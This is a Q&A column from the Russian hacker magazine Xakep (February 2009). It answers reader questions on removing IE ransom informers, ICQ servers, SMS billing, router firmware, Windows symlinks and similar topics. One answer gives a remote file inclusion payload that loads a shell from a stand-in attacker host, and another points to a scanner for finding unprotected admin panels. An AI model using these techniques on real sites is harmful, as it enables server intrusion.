| Издательский дом ООО "Гейм Лэнд" | ЖУРНАЛ ХАКЕР #122, ФЕВРАЛЬ 2009 г. |

FAQ United
Маг (icq 884888, http://wap-chat.ru)
Степан Ильин
Q: Подхватил где-то информер в IE с просьбой отправить SMS туда-то. Как от него избавиться и как предотвратить такое в дальнейшем?
A: Предотвратить появление вирусных информеров в IE очень просто - не пользуйся IE :). А чтобы удалить мозолящий глаза информер, выполни нехитрые действия: открой «IE -> Меню «Сервис» -> «Надстройки» -> «Включение и отключение надстроек». Затем ищи плагин с родительским dll nhslib.dll (возможно, будет другой) и отключай его. После этого найди в реестре nhslib.dll – и удали. Также эту заразу очень хорошо лечит бесплатный антивирус Dr.Web CureIt. Удачи!
Q: Хочу поднять свой ICQ-сервер. Возможно ли это?
A: Захотелось посидеть на ICQ UIN #1 или #7777777? :) Это возможно! Поднять свой асечный сервер тебе поможет проект IServerd (http://iserverd.khstu.ru/russian).
Немного из описания проекта:
Эта история началась, когда парни из компании Mirabilis сделали новую коммуникационную программу ICQ (название которой созвучно английскому «I Seek You» - Я ищу тебя»). Они также сделали сервер, который содержал данные обо всех пользователях и отслеживал их статус в сети. Новая ICQ-сеть росла быстро, может быть, даже слишком быстро. В этот момент они начали новый проект - систему, которая могла бы работать независимо от общего ICQ-сервера. Была выпущена beta-версия корпоративного ICQ-сервера и клиента. После этого Mirabilis была куплена компанией AOL, и проект был заморожен. Так же было еще несколько попыток создать подобный сервер, но все они потерпели неудачу. Наиболее известной попыткой был проект gicqd (GNU icq daemon), но он также был через некоторое время остановлен. После «смерти» gicqd я начал свой собственный проект, названный IServerd.
Еще на этапе проектирования было решено в качестве сервера баз данных использовать PostgreSQL RDBMS. Все данные (информация о пользователях, списки контактов, информация о подключенных клиентах, фрагменты пакетов, отложенные сообщения) хранятся в этой базе данных. Люди часто спрашивают меня, с какими клиентскими программами работает IServerd. Сейчас ты можешь использовать клиенты групп V3G (то есть тех, что поддерживают протокол V3 Groupware),V5, V7. Вот примерный список: ICQCorp, ICQ99a, ICQ99b, CenterICQ, MirandaICQ, Licq, micq, ICQ2000a, ICQ2000b. ICQ2001, ICQ2002, ICQ2003, ICQLite.
Впечатляет? Для запуска своего ICQ-сервера тебе необходимо установить любую *nix-совместимую систему, поднять Postgresql в качестве СУБД, заинсталлить Ncurses и, собственно, сам демон IServerd. Подробный ход установки сервера описан на сайте разработчика. Также советую прочесть статью http://icqwarez.ru/svoj-server-pod-icq-legko-ili-net, где процесс установки и конфигурирования IServerd описывается доступным «человеческим» языком.
Q: Точно знаю, что у сайта http://some-site.com где-то лежит незапароленная админка. Как ее найти?
A: Тебе поможет разработка нашего хакера Gh0s7 - Pelmeshko HEAD Scaner (http://forum.antichat.ru/thread40031.html). Скрипт сканирует сервер на наличие файлов и директорий, находящихся в прилагаемой базе.
Основной функционал программы:
- HEAD Сканирование - позволяет существенно сократить трафик, не снижая функциональности;
- Header anazyler - анализатор заголовков, таких как Server, X-Powered-By и т.д;
- 404 probe request - очень полезная функция, которая позволяет исключать из вайтлиста верных ответов (200,302,401, etc.) ответ сервера на несуществующий файл, так как часто это не 404, а 302 или, что хуже, 200(OK);
- Легко расширяемая база данных, формат которой очень прост - в каждой строке по файлу;
- Поддержка https и cookies.
Простейший пример использования скрипта: «./hscan.pl http://some-site.com/».
Q: Перечисли наиболее известные и выгодные SMS-биллинги, которые тебе известны.
A: ОК, перечислю. Список известных русских контор:
- http://partners.i-free.ru
- www.mobilmoney.ru
- http://mobilcent.ru
- www.a1agregator.ru
- www.agregator.ru
- http://smscoin.com
- http://rocketbill.ru
- http://cmcbilling.ru
- www.smsexpress.ru
- www.billingsms.ru
- www.smsoff.ru
- www.smsrent.ru
- www.smsdostup.ru
- http://payweb.ru
- http://nanobilling.com
- http://gsm-inform.ru
- http://b2m.ru
- http://geopay.ru
- http://smstraffic.ru
- www.smsrate.ru
- http://smsonline.ru
- http://smspay.us
- http://openbill.ru
- http://banksms.ru
- www.e-commers.ru
Список известных зарубежных контор:
- www.glpayment.co.uk
- www.tribaltext.com
- www.premiumsmsusa.com
- www.smstoday.co.uk
- www.mblox.com
- www.m-bill.net
- www.animatele.com
- www.tailormade.se
- www.clickatell.com
- www.truesenses.com
- www.stealthnet.net
- http://sms.vianett.com
- www.nocreditcard.com
- www.daopay.com
- www.global-acces.com
- www.123ticket.com
Также нельзя не упомянуть отличную публикацию, представляющую сводную таблицу, в которой кропотливо собрана самая подробная информация о каждом из биллингов. Можно сразу отсеять те сервисы, которые взимают большую комиссию или не предоставляют удобный для тебя вариант выплат. Тут же найдешь информацию – о частоте оплаты, необходимости заключения договора, инструкции по готовым программным модулям и т.д.
Q: Аааааааааааааа!!! Сессия! Подскажи, как с помощью обычного мобильника вычислять дифференциальные уравнения?
A: Привет, студент! К сожалению, Java-апплетов, готовых решить эту задачу, не так много. А что хуже всего, каждый из них очень специфичен и позволяет решать задачи в четко заданной области. Но есть другой вариант! В инете сейчас появилось несколько мощных ресурсов для решения дифуров и прочих интегральных вычислений, так почему бы ими не воспользоваться? Тебе поможет МиниОпера (ну или, на крайний случай, встроенный браузер твоего телефона) и онлайн-сервис http://ru.numberempire.com/integralcalculator.php. Что ты тут найдешь? Калькулятор производных, калькулятор интегралов, калькулятор пределов, решатель уравнений, редактор уравнений LаТеХ, утилиты, которые смогут помочь тебе в изучении Теории Чисел (простые числа, факторизатор чисел, числа Фибоначчи, числа Бернулли, числа Эйлера, факториалы).
Например, калькулятор интегралов вычисляет неопределенный интеграл (антипроизводную) от функции по заданной переменной с использованием аналитического интегрирования и поддерживает следующие операторы и функции:
+, -, *, /, ^, sqrt, exp, log, erf, abs,
sin, cos, sec, csc, tan, cot, asin, acos, asec, acsc, atan, acot
sinh, cosh, sech, csch, tanh, coth, asinh, acosh, asech, acsch, atanh, acoth.
Константы: %e - основание натурального логарифма, %pi - ?, inf - infinity.
Удачно сдать сессию! (если до сих пор не сдал…)
Q: В скрипте-жертве есть код примерно следующего содержания: «<?php include($_GET['filename'].'.php'); ?>». Каким образом в данном примере можно проинклудить файл с любым другим расширением, кроме «.php»?
A: Очень просто! Помимо стандартного нулл-байта %00, о котором ты наверняка знаешь, именно для данного типа инклудов есть еще один способ. Попробуй передать скрипту следующее:
index.php?filename=http://some-evil-host.com/shell.txt?
В итоге, инклуд будет выглядеть так:
<?php include('http://some-evil-host.com/shell.txt?.php'); ?>
Как видишь, расширение «.php», оказавшись в QUERY_STRING, перестало являться расширением проинклуденного файла. Теперь, при включенном allow_url_fopen, успешно загрузится наш shell.txt.
Q: Срочно необходимо пополнить вебмани, а возможности нет! Реально ли сделать это через SMS?
A: Реально, но только с переплатой в 2 раза. Вот список онлайн-сервисов, предоставляющих такую услугу:
Подробней ознакомиться с тарифами обмена ты сможешь на вышеперечисленных сайтах, а поменять денежки – сразу после регистрации. Какая комиссия? Ну, скажем, за SMS стоимостью 1$ + налоги ты получишь на счет 12.85 WMR. Грабительство? Не то слово, поэтому используй эти сайты только при крайней необходимости.
Q: Задача — получить дерево каталогов Windows в командной строке. Дома я бы быстро написал скрипт, но что делать, когда никакого интерпретатора под рукой тупо нет?
A: Среди стандартных программ есть замечательная утилита tree.exe, которая может упростить передвижение по каталогам в командной строке. Умеет она немногое – всего лишь отображает иерархию каталогов в виде дерева. Выглядит это примерно так:
c:\Work\xa_10\files\soft\Windows\Dailysoft>tree
Структура папок
Серийный номер тома: 7866-BD90
C:.
????7-Zip 4.57
? ????7-Zip (64-bit) 4.58
????AutoRuns 9.34
????DAEMON Tools Lite 4.30.1
? ????64-битная версия
????Download Master 5.5.6.1139
????FarPowerPack 1.15
????FileZilla 3.1.3
????IrfanView 4.2
? ????Набор плагинов
????JDataSaver
Q: Прочитал в любимом журнале замечательную статью «Level-UP для точки доступа». К сожалению, моя компания закупает оборудование другого производителя (не ASUS, на примере которого был написан материал). Поэтому вопрос – существуют ли альтернативные прошивки для других вендоров? И как выбрать роутер с максимально возможным потенциалом для тюнинга?
A: Конечно, альтернатива есть. Более того, многие из прошивок универсальны – они подходят устройствам от самых разных производителей, если те построены на одних и тех же деталях (чипах). Изначально, бесплатные прошивки для многих беспроводных маршрутизаторов, основанных на чипах BroadCom/Atheros/Xscale/PowerPC, были разработаны для серии маршрутизаторов Linksys. Прошивка – это ведь вовсе не дьявол во плоти, а вполне понятная вещь: чуть адаптированная операционная система, построенная на ядре Linux. Из наиболее известных можно отметить DD-WRT (dd-wrt.com), Tomato (www.polarcloud.com/tomato), Openwrt (openwrt.org), Oleg firmware (oleg.wl500g.info). Последние, как известно по упомянутой статье, подходят только для оборудования ASUS. Openwrt – самый универсальный вариант, но для его использования необходимо быть подкованным в linux-системах, чтобы суметь настроить все с нуля. Первые две прошивки, пожалуй, являются оптимальным вариантом и своеобразной «золотой серединой». Они похожи по возможностям, но в то же время отличаются по мелочам. К примеру, Tomato имеет очень удобный и быстрый интерфейс, полностью построенный на Ajax.
Как не прогадать с выбором сервера? Подход к выбору напоминает покупку обычного компьютера – роутер нужно выбирать в соответствии с комплектующими, на базе которых он построен. От этого напрямую зависит, что в дальнейшем он сможет тебе предложить (за рамками заявленных производителем возможностей). Могу посоветовать следующий рецепт. Выбор роутера стоит начинать с посещения ресурса wrt.com/wiki/index.php/Supported_Devices. Это подробная база данных по разным устройствам, для каждого из которых отображены параметры: Frequency (частота процессора), RAM (объем оперативной памяти), Flash Memory (объем энергонезависимой памяти), WLAN standard (поддерживаемый стандарт Wi-fi). Правило тут простое – чем больше всего, тем лучше. Хочу обратить внимание на поддержку USB-портов: особенно, если хочешь сделать print-сервер или расшарить файловое хранилище (кстати говоря, на том же роутере удобно поднять torrent-клиент, который сутками будет качать всякие интересности).
Q: Вот есть пакет Денвер или буржуйский XAMPP – все это позволяет быстро развернуть LAMP-сервер (ты прямо как знал, что у нас будет о них статья в этом номере! – прим. Step’а). А существуют ли решения для быстрой настройки веб-сервера на базе решений от Microsoft?
A: Ответ – да! Буквально на днях вышла веб-платформа от софтверного гиганта. В одном инсталляторе тебе предлагают за пару кликов установить все необходимые продукты для запуска полноценного веб-сервера, а также среду разработки, SDK и утилиты. В состав пакета входят веб-сервер IIS 7 с утилитами администрирования и (опционально) модулем FastCGI, .NET Framework 3.5 и ASP.NET MVC – это фреймворк для быстрой разработки веб-приложений. В качестве базы данных, конечно, предлагается SQL Express 2008. Зато радует, что пакет сразу идет с драйвером для РНР. Значит, не все потеряно и вместо С#/Visual Basic вполне можно использовать другие языки. Если для редактирования кода ты по старинке используешь блокнот, инсталлятор предложит бесплатную среду разработки Web Developer Express, а заодно заинсталлит в систему все необходимое для программирования под платформу Silverlight. Могу сказать, что это не просто пакет для создания какой-то там домашней страницы – напротив, с помощью этого инструмента можно поднимать серьезные решения! И самое главное – все это бесплатно!
Q: Как реализовать поддержку символьных ссылок в Винде?
A: В той же Windows Vista изобретать велосипед не нужно: в ней есть система символьных и жестких ссылок. Создать такую ссылку можно командой:
MKLINK [[/D] | [/H] | [/J]] <Имя ссылки> <Назначение>
/D Создает символьную ссылку на папку. По умолчанию создается ссылка на файл
/H Создается жесткая ссылка.
/J Создает точку-подсоединение (логический диск будет отображаться как папка).
<Имя ссылки> Имя создаваемой ссылки
<Назначение> Указывает путь (относительный или абсолютный), на который будет ссылаться ссылка.
Если не хочется копаться в командой строке, существует еще GUI-решение - Link Shell Extension (http://schinagl.priv.at/nt/hardlinkshellext/hardlinkshellext.html).
Содержание
|